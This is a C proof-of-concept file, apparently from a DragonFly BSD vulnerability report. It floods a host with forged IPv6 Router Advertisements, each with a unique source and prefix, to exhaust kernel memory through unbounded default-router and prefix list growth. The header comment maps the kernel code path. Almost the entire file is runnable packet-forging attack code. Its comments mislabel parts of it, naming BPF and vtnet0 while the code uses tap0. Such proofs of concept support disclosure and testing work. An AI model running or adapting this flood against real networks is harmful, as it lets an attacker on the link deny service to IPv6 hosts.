DF-0418 / raflood.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 | /* * DF-0418 demonstration: unbounded default-router / prefix list growth via * forged Router Advertisements (RFC 6104/6105 RA flooding). * * Code path (verified): nd6_ra_input (nd6_rtr.c:200) accepts an RA when * !ip6_forwarding && (ND_IFINFO(ifp)->flags & ND6_IFF_ACCEPT_RTADV) (:221) * then defrtrlist_update (:689) kmallocs a fresh nd_defrouter for every * unique source link-local and TAILQ_INSERT_TAIL with NO upper bound, and * nd6_prelist_add (:765) + pfxrtr_add (:727) do the same for prefixes. * The only cap in the tree, nd6_maxndopt (nd6.c:128), limits per-PACKET * options, not cross-packet accumulation. => unbounded kmalloc => kernel * memory exhaustion. * * This program: * 1) enables ND6_IFF_ACCEPT_RTADV on vtnet0 via SIOCSIFINFO_FLAGS * (the realistic SLAAC precondition; the global sysctl alone does not set * the per-interface flag for an already-running interface), * 2) opens /dev/bpf bound to vtnet0, * 3) for i in [0,N): builds an RA Ethernet+IPv6+ICMPv6 frame with a * unique fe80:: source and a unique 2001:db8:<i>::/64 prefix, and * writes it to BPF -- simulating a stream of forged on-link RAs, * 4) reports kernel memory growth (vm.stats) around the flood. * * Must run as root (BPF + ioctl). The DoS is observable as monotonic * growth of the default-router/prefix lists and free-memory decline. */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/types.h> #include <net/if.h> #include <net/if_dl.h> #include <net/bpf.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <arpa/inet.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* DragonFly in6 nd ioctl — minimal userland layout (mirrors struct in6_ondireq, nd6.h:180) */ #ifndef ND6_IFF_ACCEPT_RTADV #define ND6_IFF_PERFORMNUD 0x1 #define ND6_IFF_ACCEPT_RTADV 0x2 #endif #ifndef SIOCGIFINFO_IN6 #define SIOCGIFINFO_IN6 _IOWR('i',108,struct my_in6_ndireq) #define SIOCSIFINFO_FLAGS _IOWR('i',87,struct my_in6_ndireq) #endif struct my_ndi { u_int32_t linkmtu, maxmtu, basereachable, reachable, retrans; u_int32_t flags; int recalctm; u_int8_t chlim, reserved, initialized; u_int8_t randomseed0[8], randomseed1[8], randomid[8]; }; struct my_in6_ndireq { char ifname[IFNAMSIZ]; struct my_ndi ndi; }; #define IFNAME "tap0" #define DST_MAC "\x33\x33\x00\x00\x00\x01" /* all-nodes multicast */ static int bpf_fd = -1; /* set ND6_IFF_ACCEPT_RTADV on the interface */ static int enable_accept_rtadv(const char *ifname) { int s; struct my_in6_ndireq nd; uint32_t want = ND6_IFF_PERFORMNUD | ND6_IFF_ACCEPT_RTADV; if ((s = socket(AF_INET6, SOCK_DGRAM, 0)) < 0 && (s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket"); return -1; } memset(&nd, 0, sizeof(nd)); strlcpy(nd.ifname, ifname, sizeof(nd.ifname)); if (ioctl(s, SIOCGIFINFO_IN6, &nd) < 0) { perror("SIOCGIFINFO_IN6"); close(s); return -1; } fprintf(stderr, "[*] nd flags before: 0x%x\n", nd.ndi.flags); nd.ndi.flags = want; if (ioctl(s, SIOCSIFINFO_FLAGS, &nd) < 0) { perror("SIOCSIFINFO_FLAGS"); close(s); return -1; } /* re-read to confirm */ memset(&nd, 0, sizeof(nd)); strlcpy(nd.ifname, ifname, sizeof(nd.ifname)); ioctl(s, SIOCGIFINFO_IN6, &nd); fprintf(stderr, "[*] nd flags after: 0x%x (ACCEPT_RTADV %s)\n", nd.ndi.flags, (nd.ndi.flags & ND6_IFF_ACCEPT_RTADV) ? "SET" : "NOT SET"); close(s); return (nd.ndi.flags & ND6_IFF_ACCEPT_RTADV) ? 0 : -1; } static int open_bpf(const char *ifname) { (void)ifname; /* Writing to /dev/tapN injects the raw Ethernet frame as RX (ingress) * on tapN -- exactly what we need to exercise the ND RA input path. */ int fd = open("/dev/" IFNAME, O_RDWR); if (fd < 0) { perror("open /dev/" IFNAME); return -1; } fprintf(stderr, "[+] tap fd=%d on %s (writes = ingress RX)\n", fd, IFNAME); bpf_fd = fd; return 0; } static uint16_t icmp6_cksum(const struct in6_addr *src, const struct in6_addr *dst, const uint8_t *payload, int len) { /* pseudo-header (40) + payload */ uint32_t sum = 0; const uint16_t *p; int i; uint8_t ph[40]; memcpy(ph, src, 16); memcpy(ph + 16, dst, 16); ph[32] = 0; ph[33] = 0; ph[34] = (len >> 8) & 0xff; ph[35] = len & 0xff; ph[36] = 0; ph[37] = 0; ph[38] = 0; ph[39] = 58; /* NH=ICMPv6 */ p = (const uint16_t *)ph; for (i = 0; i < 20; i++) sum += ntohs(p[i]); p = (const uint16_t *)payload; for (i = 0; i < (len / 2); i++) sum += ntohs(p[i]); if (len & 1) sum += (payload[len - 1] << 8); while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return htons(~sum & 0xffff); } static void send_ra(uint16_t idx) { uint8_t pkt[14 + 40 + 16 + 32]; /* eth + ipv6 + icmp6 RA + PI opt */ uint8_t *e = pkt; struct ip6_hdr *ip6; struct nd_router_advert *ra; struct nd_opt_prefix_info *pi; struct in6_addr src6, dst6; uint16_t csum; memset(pkt, 0, sizeof(pkt)); /* Ethernet: dst all-nodes, src 02:00:00:<idx hi><lo>:00:00 */ memcpy(e, DST_MAC, 6); e[6] = 0x02; e[7] = 0x00; e[8] = 0x00; e[9] = (idx >> 8) & 0xff; e[10] = idx & 0xff; e[11] = 0x00; e[12] = 0x00; e[13] = 0x86; e[14] = 0xdd; /* ethertype IPv6 -- note: byte 12,13 are type; fix below */ /* fix ethertype position: bytes 12,13 */ pkt[12] = 0x86; pkt[13] = 0xdd; /* IPv6 header */ ip6 = (struct ip6_hdr *)(pkt + 14); ip6->ip6_vfc = 0x60; ip6->ip6_plen = htons(16 + 32); /* RA(16) + PI(32) */ ip6->ip6_nxt = 58; /* ICMPv6 */ ip6->ip6_hlim = 255; memset(&src6, 0, sizeof(src6)); src6.s6_addr[0] = 0xfe; src6.s6_addr[1] = 0x80; src6.s6_addr[8] = 0x02; src6.s6_addr[9] = 0x00; src6.s6_addr[10] = 0x00; src6.s6_addr[11] = (idx >> 8) & 0xff; src6.s6_addr[12] = idx & 0xff; inet_pton(AF_INET6, "ff02::1", &dst6); ip6->ip6_src = src6; ip6->ip6_dst = dst6; /* ICMPv6 Router Advertisement */ ra = (struct nd_router_advert *)(pkt + 14 + 40); ra->nd_ra_type = 134; ra->nd_ra_code = 0; ra->nd_ra_curhoplimit = 64; ra->nd_ra_flags_reserved = 0; ra->nd_ra_router_lifetime = htons(1800); ra->nd_ra_reachable = 0; ra->nd_ra_retransmit = 0; /* Prefix Information option (type 3, len 4 units = 32 bytes) */ pi = (struct nd_opt_prefix_info *)(pkt + 14 + 40 + 16); pi->nd_opt_pi_type = ND_OPT_PREFIX_INFORMATION; pi->nd_opt_pi_len = 4; pi->nd_opt_pi_prefix_len = 64; pi->nd_opt_pi_flags_reserved = ND_OPT_PI_FLAG_ONLINK | ND_OPT_PI_FLAG_AUTO; pi->nd_opt_pi_valid_time = htonl(1800); pi->nd_opt_pi_preferred_time = htonl(1200); pi->nd_opt_pi_reserved2 = 0; /* unique prefix 2001:db8:<idx>:: */ pi->nd_opt_pi_prefix.s6_addr[0] = 0x20; pi->nd_opt_pi_prefix.s6_addr[1] = 0x01; pi->nd_opt_pi_prefix.s6_addr[2] = 0x0d; pi->nd_opt_pi_prefix.s6_addr[3] = 0xb8; pi->nd_opt_pi_prefix.s6_addr[4] = (idx >> 8) & 0xff; pi->nd_opt_pi_prefix.s6_addr[5] = idx & 0xff; /* ICMPv6 checksum over RA+PI (16+32=48 bytes) */ csum = icmp6_cksum(&src6, &dst6, (uint8_t *)ra, 48); ra->nd_ra_cksum = csum; if (write(bpf_fd, pkt, sizeof(pkt)) < 0) perror("bpf write"); } int main(int argc, char **argv) { int N = (argc > 1) ? atoi(argv[1]) : 200; uint16_t i; if (enable_accept_rtadv(IFNAME) < 0) { fprintf(stderr, "[!] could not enable ACCEPT_RTADV; aborting\n"); return 2; } if (open_bpf(IFNAME) < 0) return 2; fprintf(stderr, "[+] injecting %d forged RAs (unique src + prefix each)...\n", N); for (i = 1; i <= N; i++) { send_ra(i); if ((i % 50) == 0) fprintf(stderr, " sent %d\n", i); usleep(200); /* pace to let kernel process */ } fprintf(stderr, "[+] done; sent %d RAs. Check `ndp -an` / `netstat -rn -f inet6` / vm stats.\n", N); close(bpf_fd); return 0; } |